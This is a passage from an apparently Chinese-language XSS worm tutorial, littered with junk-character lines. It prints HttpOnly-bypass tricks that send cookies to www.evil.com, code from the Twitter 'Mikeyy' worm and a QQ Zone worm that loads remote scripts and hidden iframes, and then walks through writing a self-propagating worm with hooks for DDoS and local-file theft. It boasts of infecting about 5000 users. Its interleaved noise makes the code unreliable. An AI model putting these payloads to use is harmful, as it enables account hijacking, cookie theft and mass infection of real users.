acl TRACE method TRACE
: ~- }1 Z7 |5 a, ^3 n* z  _
...
0 B% k- K2 s" J' b/ \7 Z" I
http_access deny TRACE
' v- N% A* j1 r复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
8 v, }. ?. E4 B6 Z0 g8 f6 B0 \
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

! C/ R9 k* |4 l, k, g3 t8 R# |; dXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

1 M6 ]( _. p1 p1 D0 ~# u</script>
& |2 p  }% Q% M复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
: R, R2 X* C1 {  O2 h# L& w9 [& Z
2 K& b8 |7 @) x) v0 s
1 R2 B0 W% H0 @, X1 @! w! ~
. ^9 g$ N" J" z: e) U5 d' yXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
1 Y; z  e8 H9 l- d  t1 {/ O
<script>
! _! y- {1 x, |6 w复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
5 s% Y9 Q  U+ p% d复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

6 天前 08:27

2 h2 {3 ]% D- J第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
6 W, r: B% C) V; o3 l8 S
   2.   

1 L. h% b+ e% S- C   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
. m* E& G' X/ R" K
' Z. x* T$ u1 K- `4 z+ }! o   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

/ y; l: z* Y6 z   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

, n  ]6 _9 s/ y   2.   var content = document.documentElement.innerHTML;  
! l/ \/ l; @0 K# Q5 k
   3.   var tmp_cookie=document.cookie;  
! I. _4 \" U' B5 D
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

' I3 U2 P& y% m7 y8 E7 R& `   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

( j" W6 [+ `2 J- b6 V. r1 u: y! C- F   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
" Q7 R- [! j& ~) R$ \' q
& K" x- \% p( n9 \  d: ^  ]   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

0 T/ p* T5 o# ^, d, M  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

# b7 S( D; s/ ~! D* M2 h  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
9 X. L* q. ^/ p
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
8 V# U# {9 T) z- V- Q+ r: r2 \( i
# @; l6 P# ?+ h4 i3 m8 x# L  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
4 u' s2 S. T& n( T# N
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
" a6 f+ ^1 H% K7 a5 E3 _5 e' T* w
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

- p3 |  Z# `! a6 Y1 f' w. T  T  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
! P4 Q4 r  H. w; _
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
, r' f: E7 K# z( b
8 h, K5 ?- L1 |( C$ n  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
, E! v$ v, d! y7 r0 I- K9 L0 u0 w
# y: F0 d) h% ]! e  w- ?1 k  E  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

) p( W% K6 ]4 q5 h, k  28.   var ajaxConn= new XHConn();  
- V; ^9 e3 O: T! @0 W' V1 k% O
) a, u. j7 {$ N7 {' }- Q  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
; w. T0 |# U8 |4 `& \
  30.   var _0xf81bx1c="Mikeyy";  
3 o# Z( t' T) A+ s; C  Z
  31.   var updateEncode=urlencode(_0xf81bx1c);  
- [9 L6 G" |4 `" j
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
9 N; t6 y- _0 E' ?# @
& S9 S& a# w/ c. g3 e  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
1 w" P% L- n1 \2 u* W4 A9 c
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
8 J& y8 ], Y* q& r* T$ P7 H6 H
  39. } ;  

) Z& n4 v9 |, Y  40. setTimeout(wait(),5250);  
4 U/ k! \: f+ z7 @3 Z4 ]复制代码QQ空间XSSfunction killErrors() {return true;}

+ ~# B- @! o0 P" J7 S/ Y5 Vwindow.onerror=killErrors;

8 H& F1 k' s* s* h4 s# X) m

var shendu;shendu=4;
: E7 x/ h, H( ]
3 m: m/ p6 w5 B% M) f- t//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
6 v/ |: L9 C9 J* E& n) X
! ~2 _# t, N$ \$ Gvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

  [0 }9 C# t7 t: }9 L        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
/ ^% B! Z5 c% j0 W# m* b
8 u1 X9 X  Z3 u# z, Q        gurl=gurl.substring(0,gurle+3);        

) g9 U  ?4 t! u" v) I2 [4 y' q        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
8 ^) v' e' T3 e; x8 k% ?
! O5 {/ S( [  O3 Z6 \        visitorID=visitorID.substring(cookieS+14);

9 y" I, T6 D$ a        cookieS=visitorID.indexOf(",");

; r" L& Q+ [( X4 b        visitorID=visitorID.substring(0,cookieS);
4 m5 Y. w4 a2 Z  R# l
& A  U4 ^1 _' a* |* r        get_my_blog(visitorID);

        DOshuamy();

$ L8 {) L' V0 }4 R  V3 [

//挂马
# ]/ ^  Z/ f% ^3 q7 p/ }( j
function DOshuamy(){
% x- t' w0 l2 E, j1 D
var ssr=document.getElementById("veryTitle");
# H" s* _8 T8 J* B  ^& J
' ~7 I" d+ b+ essr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
$ K% w; u! U- A2 U) f1 N
1 z2 _0 m% {0 B) N# j}



, a: f2 C9 e7 {//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
5 I* ]" `1 K- y% S  T4 [- G( n9 h+ t
function get_my_blog(visitorID){

- K* R% h/ r* j& {" y. o& W& p& s   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

- m9 I8 ^% t2 E( a9 A8 s   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 p/ a# c' H9 p$ z2 f, e1 ^
! g2 @3 {) p1 a7 P# W4 Z, U   if(xhr){    //成功就执行下面的
( g0 t4 [2 N$ O/ e4 p
; V' H+ t' y' M1 m6 c     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
. j2 U5 ~( H5 g( D' Y7 g" c; ]
1 k4 o; Y3 l2 I+ Z- F5 F     xhr.send();guest=xhr.responseText;
: l1 f. t6 ]1 E) k" C: |/ z$ C
     get_my_blogurl(guest);    //执行这个函数
# o% j: [! B4 r' m  N0 q  Y
! Y6 z8 m  U$ E8 u9 X0 o$ p6 m+ l    }

/ f6 @9 z$ k2 ^+ y, v}


% b9 q! C+ f/ S4 e8 p
& z* l1 d3 J! s4 {' D3 A8 S! }//这里似乎是判断没有登录的

function get_my_blogurl(guest){

0 C3 }1 E" P1 o% u5 p- ]0 U  var mybloglist=guest;
# w2 L; `# y5 ^
0 }+ S& I; W2 \" ~) p0 O3 I$ `# `* E  var myurls;var blogids;var blogide;
5 R) }, u+ N; u
  for(i=0;i<shendu;i++){
5 j7 t5 i7 w) d" ?3 O
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
8 G: d9 j5 I9 v, D* g* J9 }
& G. u; L, j6 k         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
. c7 j% m7 t3 t6 K5 l
$ A4 Q" b4 _9 B$ f" R        }else{break;}

: V6 k1 O/ ~. L! M}
$ u+ |& n8 P6 u5 {; d7 L. _
get_my_testself();    //执行这个函数
8 l0 k& w* i9 J9 V1 @
}


/ h; l( u( N/ P! X
//这里往哪跳就不知道了
0 u) S- o  g% ~8 T& ^# ]
function get_my_testself(){

! r( t  n9 c! P! b9 v2 |; C  for(i=0;i<myblogid.length;i++){    //获得blogid的值
2 F0 F/ s# n* m) R
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

' l3 L9 E, b0 Q$ D; @1 T      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

  q4 T$ I& s# T; f3 J- P              xhr2.open("GET",url,false);     //打开上面的那个url
9 t  P; D: W. `8 T% o3 d
& c4 X* u$ |. p+ {; W              xhr2.send();

" L( n' g' j7 J2 M, N              guest2=xhr2.responseText;

8 H- ]" W7 x/ e* T  o7 T              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
4 {) |& `$ B- B3 }
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
4 J, d" F8 X; z' s9 Y% i+ w
, |9 ^* V+ \$ g$ b3 y" x              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( I* d) N0 V( S& D6 H
                targetblogurlid=myblogid;   
2 B7 `8 M7 R! S; q3 a/ D/ u7 k" w
+ U9 G) k# ]7 f$ J! R9 I2 L3 ]                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

" K) q- O# D) n7 ~               }

              if(mycheckit=="-1"){
) q, C# S+ B9 i. k$ [$ W
, S' M7 L- m* K* E; t" \/ W/ M                targetblogurlid=myblogid;
2 X' t4 M7 w! ~& Z0 s- {
% O( M. L+ s, r4 D" \$ g( j                add_js(visitorID,targetblogurlid,gurl);    //执行它

: K7 _& I$ q. E7 n" M% A                break;
* d0 L/ g8 T. F3 f' f1 V" u8 }4 }
5 b$ C: _# B7 y2 F  Q               }
1 E! P( M$ X+ w/ g: L- a
+ \8 U$ T; r4 D3 J2 Y        }      
5 b2 S( `6 i! E' n
1 B- R3 U; N; V) X! G}
0 G  X' i; |- X$ }5 z* i
8 y; a9 b2 q, C/ ~}
; j* S( m2 j, _# ?; S; |


3 @4 k$ J6 y6 W//--------------------------------------  
% [) U$ W. }, @, Q
//根据浏览器创建一个XMLHttpRequest对象

3 _: |5 [+ o" C1 zfunction createXMLHttpRequest(){
) W5 ]8 U( C6 l" E1 c
    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
3 B% M" N; q) j! B: e* W, z
3 T' `# U3 c% }4 i& q      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
' P: Z4 o* ?' r. l# T4 ?( R/ x
1 O3 U5 m) C3 g+ e. d        for(var i=0;i<MSXML.length;i++)  
9 I# [( i4 L8 u7 o
( F4 G3 U0 S7 ^. Q4 J/ q. J& b        {  

            try  
; o' ?, A1 U4 B, O
            {  
  Q" F, G3 M$ v9 j
                XMLhttpObject=new ActiveXObject(MSXML);  
8 o0 ?2 l. K3 `- x) B* M
                break;  

) @: g1 W& a  n/ h- d) W4 s. e9 C            }  
! t  x0 N) h- C2 [
: ~4 r6 \4 J$ m9 O- {, P6 X1 R            catch (ex) {  
/ m& G  s- [5 c  W
4 ]9 j# S, \# L/ ?" B            }  

         }  

      }

return XMLhttpObject;

}  
+ b1 \; ~& F0 [# F$ [* o
/ x; K9 q+ X$ O7 ~3 h( G" z

//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
, ?; ~: c# e- T& W4 C2 c
var s2=document.createElement('script');

' _) K& a: R/ c% n1 ]( c" T- Ms2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 x( v5 E% V% Y$ w$ j6 |
s2.type='text/javascript';
2 r$ r1 w& s9 o& f+ x" G' S* n$ H( G
document.getElementsByTagName('head').item(0).appendChild(s2);

+ V# c7 J- ?, `3 }, D! b/ G}
( z# u  E$ N8 k4 T  t

3 L9 @- C3 R( m- E+ V
function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
1 F. H) y( L& T
! c2 K, t3 Y2 F9 \( Z+ vs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
3 w2 Q; I4 \5 J5 h0 J; v8 `
8 A/ p5 l3 h2 Z2 g1 f3 N+ p# Odocument.getElementsByTagName('head').item(0).appendChild(s2);
' J$ U! C! m, E' p. X
}
; ^( W) B1 W7 _2 L复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
+ }3 b- q( }& i1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
& P: L; M3 Z7 ?8 @& q* ~* F
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
# i( C- P) @- ]* a/ i
+ M6 X. w" M$ D( x* S3 b; l综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


0 ~$ Q2 g0 K* C! J2 r下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

& N/ G+ I. c* F& D( m首先,自然是判断不同浏览器,创建不同的对象var request = false;
5 q6 F( q7 x# Y2 `4 o$ E9 b) s0 i' `
if(window.XMLHttpRequest) {
- f0 B" q* ~  g: d4 a
request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

4 z4 V: r/ `7 Y3 b3 C+ z4 `' x}
6 h1 ^9 Z$ s3 t; W; `1 H
1 J; D' T+ O( M} else if(window.ActiveXObject) {
8 N4 Q% o0 X4 l0 K3 m' w/ a
4 Z: r. j5 B+ S$ y8 W+ Bvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( A, B6 W/ f. K* s' g& \; D
for(var i=0; i<versions.length; i++) {

2 {2 u' Z+ G' `% Dtry {

request = new ActiveXObject(versions);
4 |3 g1 u% X5 c* }
} catch(e) {}
0 e- q( }$ o- p  ^6 |! b
5 T+ x; N9 N* v' t' \7 t}

" f; ~. X  |8 k4 C6 g9 L}

7 }7 l# q  d* p* P; vxmlHttpReq=request;
& ~1 Q' V# ~6 T. q) C+ h: M复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

: z7 G/ C. c. g3 Y, ^8 q        var Browser_Name=navigator.appName;
0 N2 [0 A( f1 k" q0 N* Y
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        
, i2 I4 t! K  o8 h2 r: a2 b) F
        var Actual_Version,Actual_Name;

! \: k) g6 M3 L+ G) i9 s        

- m+ z. ~3 ~0 `7 w0 a0 p! c        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

' U" @) {) X0 l$ u; o7 G        var is_NN=(Browser_Name=="Netscape");
4 w! K& y) w! d/ g
        var is_Ch=(Browser_Name=="Chrome");

        

        if(is_NN){
2 C$ J- O! q/ _& @
            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");
5 f6 B8 B3 m. J; |; N, e3 S7 H5 F) ]& @
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

. W8 C, }% Q7 ^& w, F( T                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
- z5 P5 \- ^) z+ {3 s/ b' O
3 E: A. z# n5 c8 R; w: n
0 c& D1 B2 P4 Z! M8 |, U1 V; {% P' d
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{

* I$ }% p, ^1 H4 A3 j  h$ \4 G                Actual_Version=Browser_Version;
6 Z, |3 n8 j- x! z# z0 @; {
: F! S! O9 |8 h5 D! X                Actual_Name=Browser_Name;
3 B( c2 e; `( x1 M5 }
            }
% F/ B2 Q8 @! Z$ H" ]
% {8 x* q  a5 L8 E" N7 Q$ C7 `! P        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
+ q1 o. ~8 O/ I9 u& ]3 G
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
' r8 b) R+ A) u: g0 ^
' d' v. `, ?" I: H/ b            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 s6 p5 R+ l; ^3 c" x+ s6 R& X
            Actual_Name=Browser_Name;

% O2 k( W9 l. {1 C, m* \' ?* n            
' `/ i2 Y* Z3 a; o% k) ]; G
6 v- f3 R# v5 V9 U: [: x6 A: x            if(Browser_Agent.indexOf("Maxthon")!=-1){

4 ]+ c7 j3 t0 \& q4 M/ V+ R                Actual_Name+="(Maxthon)";

            }

: e0 q7 \" e, Z$ ~2 a2 S1 C( x            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

/ v, Q5 ~. A% t0 E+ m1 R                var tempstart=Browser_Agent.indexOf("Opera");

+ }) F& v1 G7 t, K3 X, u                var tempend=Browser_Agent.length;
5 W. b/ u- C0 c: a
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 E* ~3 t. o; I* _; B2 `3 T
' o7 I4 B2 J& A% q            }

        }
5 [/ V4 V, M0 u; c1 G$ ?- `5 @" V% v
        else if(is_Ch){
2 ?" z  E; \& Z. o% ]+ X
, \7 Z3 @, M0 A            var Version_Start=Browser_Agent.indexOf("Chrome");
% \( r+ P0 x4 p0 u/ r' B5 d
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ t( t% R5 b: H1 D
$ X7 z( [$ N/ \( y            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ Y' ^8 o3 Y# \+ G. y; E
/ o- b* a9 R, P$ f2 m, K) P            Actual_Name=Browser_Name;
- E( z2 X- P8 c' ^- v% ~
6 R4 h, Z4 n% w6 P( A            

- G, I+ B& h% C9 S: ~# |            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

7 @8 Q$ U: Q: ?) K1 K7 z2 G            }

- s" S  C5 x: b8 B            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

  K# p9 A0 N8 j$ V/ S7 T                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
2 l# ~9 Y% ?. r( Y# c3 k& U& e# _* f2 \
/ S7 k) x( c$ s' ~0 e( o, v                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

/ C2 _( I1 Y9 D' ?: j  U            }
. h& Q0 f! P) L* h1 g2 N
        }

        else{

            Actual_Name="Unknown Navigator"

/ B0 J9 I6 y/ x/ J( k# K$ M            Actual_Version="Unknown Version"

! @8 e7 r2 }- |+ i        }
( P$ T( d% ?% G& ~


        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
2 X3 O% k  Y. ?& q$ i3 ]' t
1 P) z8 b7 W3 n" Y3 q) o        

        this.Name=Actual_Name;
+ z" P" S. P& Z; X# B
" n) u# m; O; g        this.Version=Actual_Version;
; M% c9 P. H* O" E
    }
3 K7 x3 q( F7 `
8 [$ a  L: t# _) \    browserinfo();
3 e6 Q# E, f  D" z2 K
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

2 w7 I% y% H% o6 f    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ w$ A7 z2 O: S2 W/ J* Y
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
0 |! K$ z: |5 l8 |复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) ~2 ^; x, L6 @0 R7 H: @复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

/ \5 `+ m# V' l$ F" m4 PxmlHttpReq.send(null);
; w) m; P: O, M3 ~  T1 g
  |) F) o7 s6 `0 K# H7 hvar resource = xmlHttpReq.responseText;
+ l8 E- d" V) F  Q
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

' W1 @, E& E; R7 V! a5 ]while ((result = patt.exec(resource)) != null)  {

  A5 q* L. ?7 ^( C6 \, d5 \+ P$ ~id++;
$ O) W  `3 k% v5 j# S3 b8 q2 o
}
# p( k0 j# P4 A* K复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
1 k5 J& O" r# b, ]  O
4 m+ u+ m; K- \3 Y, |no=resource.search(/my name is/);
2 W2 K9 Q' D4 K! j9 {0 }, |
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

+ ^' o+ ~1 A, o. Ovar post="wd="+wd;
$ b# M% H) R$ P9 s- t
3 f% j9 w, C6 j3 I1 ~. a3 a/ CxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
# e7 |+ E  g8 o6 k3 [" H
. e# Q* w5 X( g. W: P: O6 M( }1 U' HxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
1 C/ r# J1 o' A& P
$ |- a% J# i1 X. W1 BxmlHttpReq.setRequestHeader("content-length",post.length);
0 x9 k5 y1 q; b
# ~. {8 v3 I0 t5 K- ExmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
+ t: s2 K" C2 H5 [
) @$ _: E4 l: h' W  m% axmlHttpReq.send(post);

5 Q7 s3 F! }* X: i}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

4 g6 L# O' t6 M# p) ~var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
! a( {$ D$ i% W/ q/ O
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

2 ]- m' P; T% @# B- N* `var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

4 i8 R7 Q4 E  R& cvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
* Q. a% Y6 g0 m  Z* \
; W5 u2 @: a/ O* LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
3 w! U% a! x" Z
9 ?) I- c3 a3 DxmlHttpReq.setRequestHeader("content-length",post.length);
! v) O4 w) F6 w
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

8 J  B; u' k- B5 `xmlHttpReq.send(post);                 //把传播的信息 POST出去.

; g8 H6 \& R) w, a( a" m1 p}
6 C# k8 ^& Y2 e! U5 j7 M% A, E复制代码-----------------------------------------------------总结-------------------------------------------------------------------
9 l: Q: \* q% [; I
8 d+ X0 J' `) r8 u
7 n; K: g9 N% t6 o! _9 L0 ]
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
7 z! U" m. T6 d" P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

: P6 ~/ L! P, t% X/ ~5 T; _


8 _( Z& v# p7 N0 Z" r. Q
, Y: m; ?& R+ I: Q* s- }2 a' ]8 \

9 X6 {" e9 M5 }) Q0 u2 G6 O4 D
本文引用文档资料:

3 s/ C) |' ?9 f. n2 a2 I5 E. g"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
( Q, p* |" j+ u7 ~; e* m. cOther XmlHttpRequest tricks (Amit Klein, January 2003)
